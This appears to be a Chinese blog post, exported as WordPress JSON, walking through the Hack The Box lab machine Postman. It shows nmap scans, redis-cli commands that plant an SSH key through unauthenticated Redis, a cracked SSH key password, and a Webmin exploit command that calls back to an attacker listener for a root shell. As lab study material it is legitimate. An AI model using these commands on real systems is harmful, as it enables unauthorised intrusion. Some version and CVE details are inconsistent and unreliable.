{"id":136,"date":"2024-11-13T10:04:05","date_gmt":"2024-11-13T02:04:05","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=136"},"modified":"2024-11-13T10:04:06","modified_gmt":"2024-11-13T02:04:06","slug":"136","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/136\/","title":{"rendered":"HTB\u9776\u673a Postman \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.160<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/postman\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.160\nPING 10.10.10.160 (10.10.10.160) 56(84) bytes of data.\n64 bytes from 10.10.10.160: icmp_seq=1 ttl=63 time=861 ms\n64 bytes from 10.10.10.160: icmp_seq=2 ttl=63 time=1255 ms\n64 bytes from 10.10.10.160: icmp_seq=3 ttl=63 time=619 ms\n64 bytes from 10.10.10.160: icmp_seq=4 ttl=63 time=1177 ms\n\n--- 10.10.10.160 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3090ms\nrtt min\/avg\/max\/mdev = 618.839\/977.934\/1254.611\/254.280 ms, pipe 2<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7f51\u7edc\u8fde\u901a\u6027\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Aug  1 08:42:03 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.160\nWarning: 10.10.10.160 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.160 (10.10.10.160)\nHost is up (0.25s latency).\nNot shown: 65513 closed tcp ports (reset)\nPORT      STATE         SERVICE\n22\/tcp    open|filtered ssh\n80\/tcp    open|filtered http\n6379\/tcp  open|filtered redis\n10000\/tcp open|filtered snet-sensor-mgmt\n18136\/tcp open|filtered racf\n20282\/tcp open|filtered unknown\n28838\/tcp open|filtered unknown\n30807\/tcp open|filtered unknown\n33507\/tcp open|filtered unknown\n34831\/tcp open|filtered unknown\n34875\/tcp open|filtered unknown\n36258\/tcp open|filtered unknown\n36739\/tcp open|filtered unknown\n36816\/tcp open|filtered unknown\n36924\/tcp open|filtered unknown\n41405\/tcp open|filtered unknown\n47572\/tcp open|filtered unknown\n50734\/tcp open|filtered unknown\n52465\/tcp open|filtered unknown\n57905\/tcp open|filtered unknown\n60547\/tcp open|filtered unknown\n62355\/tcp open|filtered unknown\n\n# Nmap done at Thu Aug  1 08:44:31 2024 -- 1 IP address (1 host up) scanned in 148.11 seconds<\/code><\/pre>\n<p>\u9776\u673a\u7591\u4f3c\u5f00\u653e\u4e86\u5927\u91cf\u5047\u7aef\u53e3\uff0c\u65e0\u6cd5\u5224\u65ad\u9632\u706b\u5899\u72b6\u6001\uff0c\u76f4\u63a5\u8fdb\u884c<code>TCP<\/code>\u5168\u7aef\u53e3\u626b\u63cf\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Aug  1 08:53:58 2024 as: nmap -sS -sV -A -p- --min-rate 2000 -oN .\/tcp_result.txt 10.10.10.160\nWarning: 10.10.10.160 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.160 (10.10.10.160)\nHost is up (0.39s latency).\nNot shown: 65434 closed tcp ports (reset), 97 filtered tcp ports (no-response)\nPORT      STATE SERVICE VERSION\n22\/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)\n|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)\n|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)\n80\/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-title: The Cyber Geek's Personal Website\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n6379\/tcp  open  redis   Redis key-value store 4.0.9\n10000\/tcp open  http    MiniServ 1.910 (Webmin httpd)\n|_http-server-header: MiniServ\/1.910\n|_http-title: Site doesn't have a title (text\/html; Charset=iso-8859-1).\nAggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.18 (94%), Linux 5.0 (94%), Linux 3.16 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 5.1 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 1723\/tcp)\nHOP RTT       ADDRESS\n1   501.88 ms 10.10.14.1 (10.10.14.1)\n2   502.05 ms 10.10.10.160 (10.10.10.160)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Aug  1 08:57:48 2024 -- 1 IP address (1 host up) scanned in 230.14 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Aug  1 08:59:26 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.160\nWarning: 10.10.10.160 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.160 (10.10.10.160)\nHost is up (0.61s latency).\nNot shown: 65165 open|filtered udp ports (no-response), 369 closed udp ports (port-unreach)\nPORT      STATE SERVICE\n10000\/udp open  ndmp\n\n# Nmap done at Thu Aug  1 09:05:37 2024 -- 1 IP address (1 host up) scanned in 370.96 seconds<\/code><\/pre>\n<p><code>**UDP**<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Aug  1 09:06:16 2024 as: nmap -sC -sU -sV -A -p 10000 -oN .\/udp_result.txt 10.10.10.160\nNmap scan report for 10.10.10.160 (10.10.10.160)\nHost is up (0.44s latency).\n\nPORT      STATE SERVICE VERSION\n10000\/udp open  webmin  (https on TCP port 10000)\nToo many fingerprints match this host to give specific OS details\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT       ADDRESS\n1   258.78 ms 10.10.14.1 (10.10.14.1)\n2   258.90 ms 10.10.10.160 (10.10.10.160)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Aug  1 09:06:20 2024 -- 1 IP address (1 host up) scanned in 4.39 seconds<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u4ee5\u53ca\u9776\u673a<code>6379<\/code>\u7aef\u53e3\u8fd0\u884c<code>Redis 4.0.5<\/code>\uff0c\u5b58\u5728\u4e25\u91cd\u7684\u672a\u6388\u6743\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/postman\/nmap_reports]\n\u2514\u2500# nc -nv 10.10.10.160 22\n(UNKNOWN) [10.10.10.160] 22 (ssh) open\nSSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/postman.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722475935941-a07a6dbf-1928-4f0b-a2e5-3eaa41a6cd5b.png\" alt=\"\" \/><\/p>\n<p>\u5728\u6e90\u4ee3\u7801\u4e2d\u672a\u627e\u5230\u5173\u952e\u4fe1\u606f\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Thu Aug  1 09:37:05 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/postman.htb\/ -x 400,403,404 -t 60 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap\n\n301   307B   http:\/\/postman.htb\/js    -&gt; REDIRECTS TO: http:\/\/postman.htb\/js\/\n301   308B   http:\/\/postman.htb\/css    -&gt; REDIRECTS TO: http:\/\/postman.htb\/css\/\n301   310B   http:\/\/postman.htb\/fonts    -&gt; REDIRECTS TO: http:\/\/postman.htb\/fonts\/\n301   311B   http:\/\/postman.htb\/images    -&gt; REDIRECTS TO: http:\/\/postman.htb\/images\/\n200   557B   http:\/\/postman.htb\/images\/\n200   661B   http:\/\/postman.htb\/js\/\n200   829B   http:\/\/postman.htb\/upload\/\n301   311B   http:\/\/postman.htb\/upload    -&gt; REDIRECTS TO: http:\/\/postman.htb\/upload\/<\/code><\/pre>\n<p>\u672a\u53d1\u73b0\u4efb\u4f55\u5173\u952e\u4fe1\u606f\u3002<\/p>\n<h2>Redis\u670d\u52a1\uff086379\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>redis-cli<\/code>\u5de5\u5177\u76f4\u63a5\u767b\u5f55<code>Redis<\/code>\uff0c\u53d1\u73b0\u9776\u673a\u5b58\u5728<code>Redis<\/code>\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722476935337-8aa0ee00-02dd-4447-a3e8-95d337e7f8af.png\" alt=\"\" \/><\/p>\n<p><del>\uff08\u4e38\u8fa3.jpg\uff09<\/del><\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0810000\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>https:\/\/postman.htb:10000\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722477465929-073076c5-470f-4a02-8881-2a5815f8a075.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u90e8\u7f72\u4e86<code>Webmin<\/code>\u64cd\u4f5c\u7cfb\u7edf\u8fdc\u7a0b\u7ba1\u7406\u5de5\u5177\uff0c\u7248\u672c\u4e3a<code>v1.910<\/code>\u3002\u8054\u7f51\u641c\u7d22\u8be5\u7cfb\u7edf\uff0c\u53d1\u73b0\u8be5\u7248\u672c\u7cfb\u7edf\u5b58\u5728\u4e25\u91cd\u7684\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<code>CVE-2019-15107<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722477631182-48680229-4ad1-49fc-ba38-9206ba9c8895.png\" alt=\"\" \/><\/p>\n<p>\u6839\u636e\u6587\u7ae0\u63cf\u8ff0\uff0c\u8bbf\u95ee\u6f0f\u6d1e\u70b9<code>password_change.cgi<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722477713451-7a6f462d-cc01-4a29-9ad1-6217677675bb.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux 18.04.3<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Redis\u672a\u6388\u6743\u5199\u5165SSH\u516c\u94a5<\/h2>\n<p>\u9274\u4e8e\u9776\u673a<code>Redis<\/code>\u7248\u672c\u4e3a<code>4.0.9<\/code>\uff0c\u4e14\u5b58\u5728\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\uff0c\u51b3\u5b9a\u5411<code>Redis<\/code>\u7684\u9ed8\u8ba4\u5de5\u4f5c\u76ee\u5f55<code>\/var\/lib\/redis<\/code>\u4e0b\u5199\u5165<code>SSH<\/code>\u516c\u94a5\u6587\u4ef6\u3002\uff08\u63a8\u6d4b\u7528\u6237\u540d\u4e3a<code>redis<\/code>\uff0c\u5199\u5165\u6587\u4ef6\u4e3a<code>\/var\/lib\/redis\/.ssh\/authorized_keys<\/code>\uff0c\u7531\u4e8e<code>Redis<\/code>\u7684\u7279\u6027\uff0c\u516c\u94a5\u5185\u5bb9\u5f00\u5934\u548c\u7ed3\u5c3e\u5904\u5fc5\u987b\u6709<code>2<\/code>\u884c\u7a7a\u884c\uff09\uff1a<\/p>\n<pre><code class=\"language-shell\">(echo -e \"nn\";cat ~\/.ssh\/id_rsa.pub;echo -e \"nn\") &gt; .\/ssh_key.txt\ncat ssh_key.txt | redis-cli -h 10.10.10.160 -x set evilssh\nredis-cli -h 10.10.10.160 config set dir \/var\/lib\/redis\/.ssh\nredis-cli -h 10.10.10.160 config set dbfilename authorized_keys\nredis-cli -h 10.10.10.160 save<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722483050581-27e24b93-a148-4fb6-bc3a-f52960a3ff72.png\" alt=\"\" \/><\/p>\n<p><strong>\u5199\u5165\u6210\u529f\uff01\uff01\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u767b\u5f55SSH\uff1a<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722483253833-87f4ac1c-0ed3-47ad-9c6e-c8bef116e9d4.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u79fb\u52a8\u81f3Matt\u7528\u6237<\/h2>\n<p>\u767b\u5f55<code>redis<\/code>\u7528\u6237\u4e4b\u540e\uff0c\u5728\u5bf9\u9776\u673a\u7cfb\u7edf\u8fdb\u884c\u4fe1\u606f\u9884\u6536\u96c6\u65f6\uff0c\u53d1\u73b0\u5728<code>\/opt<\/code>\u76ee\u5f55\u4e0b\u6709\u4e00\u4efd\u540d\u4e3a<code>id_rsa.bak<\/code>\u7684\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722483761397-db6a4c8b-ff66-4e08-b59d-152269692119.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C\n\nJehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw\/pr3L2A2NDtB7tvsXNyqKDghfQnX\ncwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2\n7GsTwsMvKzXkkfEZQaXK\/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6\ncdnCWhzkA\/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9\n1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv\nEyvlWwks7R\/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP\nUH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng\/sLJnJ729zb3kuym8r+hU+9v6VY\nSj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK\nt+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN\/OBoPPOTaBVD9i6fsoZ6pwnS\n5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke\nP2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7\/McQECb5sf+O6\njKE3Jfn0UVE2QVdVK3oEL6DyaBf\/W2d\/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge\nSbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ\/vFZC5YIsQ+9sl89TmJHL74Y3i\nl3YXDEsQjhZHxX5X\/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X\n0VIWrskPK4I7IH5gbkrxVGb\/9g\/W2ua1C3Nncv3MNcf0nlI117BS\/QwNtuTozG8p\nS9k3li+rYr6f3ma\/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR\nhkuzUuH9z\/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+\nZxy0tIPwjCZvxUfYn\/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V\nXTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD\nb6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf\/q7MGrO3cF25k1PEWNyZMqY4WYsZXi\nWhQFHkFOINwVEOtHakZ\/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh\nKTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm\nnpAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ\nVcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+\/h5CQwsF+JRg88bnxh2z2BD6i5W\nX+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==\n-----END RSA PRIVATE KEY-----<\/code><\/pre>\n<p>\u53d1\u73b0\u4e3a\u52a0\u5bc6\u7684<code>SSH<\/code>\u79c1\u94a5\uff0c\u63a8\u6d4b\u6240\u6709\u8005\u4e3a\u7528\u6237<code>Matt<\/code>\u3002\u76f4\u63a5\u4fdd\u5b58\u5230\u672c\u5730\uff0c\u4f7f\u7528<code>John<\/code>\u5de5\u5177\u914d\u5408<code>rockyou.txt<\/code>\u5927\u5b57\u5178\u8fdb\u884c\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh2john .\/matt_sshkey &gt; .\/matt_keyhash.txt\njohn .\/matt_keyhash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722484054246-f6a920e2-c3c3-4e2a-9791-c49e2ad9078c.png\" alt=\"\" \/><\/p>\n<p><strong>\u7834\u89e3\u6210\u529f\uff01\uff01<\/strong>\u53e3\u4ee4\u4e3a\uff1a<code>computer2008<\/code>\u3002\u76f4\u63a5\u4f7f\u7528\u79c1\u94a5\u767b\u5f55<code>SSH<\/code>\uff0c\u5931\u8d25\uff0c\u5c1d\u8bd5\u4f7f\u7528\u7834\u89e3\u51fa\u6765\u7684\u53e3\u4ee4\u5207\u6362\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-shell\">su Matt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722484575274-2c083ba9-c550-464f-9931-d73b335b1539.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486225204-7b07233b-a5fc-4048-9b35-ae7a6c977a10.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486230791-5d48153c-495e-4e6b-9f73-def3b578c353.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486236035-c7a0edc8-e708-4a26-864f-88c1840e6bef.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486240217-6eefc297-57f8-4a90-8b88-a35ef1621ef8.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486245490-fd43ee57-605c-4339-844f-09b227db1f6b.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486252465-24f9a211-0be3-4a72-bfe9-e9becda4fe66.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486261294-88490ac4-dc11-4b14-96b2-ea735f6c1043.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486267509-336b8c6d-c860-4d76-91e2-8371ee1da009.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486272241-26490908-f6a0-4b7e-9d10-5976679fd62d.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722486277200-f157181c-31e2-4bea-9cb6-7a5e3a1642b0.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673a<code>Webmin<\/code>\u670d\u52a1\u7531<code>root<\/code>\u7528\u6237\u8fd0\u884c\uff0c\u4e14\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<code>CVE-2022-0820<\/code>\uff0c\u51b3\u5b9a\u4f7f\u7528\u8be5\u6f0f\u6d1e\u63d0\u6743\u3002<\/p>\n<h2>Webmin\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u901a\u8fc7\u8054\u7f51\u67e5\u8be2\uff0c\u6210\u529f\u627e\u5230\u4e86\u4e00\u4efd<code>EXP<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722487244451-d420d342-bb80-474d-b6fa-b78c523041cd.png\" alt=\"\" \/><\/p>\n<p>\u4fdd\u5b58\u6587\u7ae0\u4e2d\u7684<code>EXP<\/code>\uff0c\u6839\u636e\u590d\u73b0\u6b65\u9aa4\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">.\/exp.py -t https:\/\/postman.htb:10000 -c Matt:computer2008 -LS 10.10.14.3:80 -L 10.10.14.3 -P 4444<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722487321061-9d5e2fa7-5880-49d8-8aca-ce8d3b5a5f15.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">64661a0919a4f00f26133e6a698cfa22<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.160 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-136","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=136"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/136\/revisions"}],"predecessor-version":[{"id":137,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/136\/revisions\/137"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}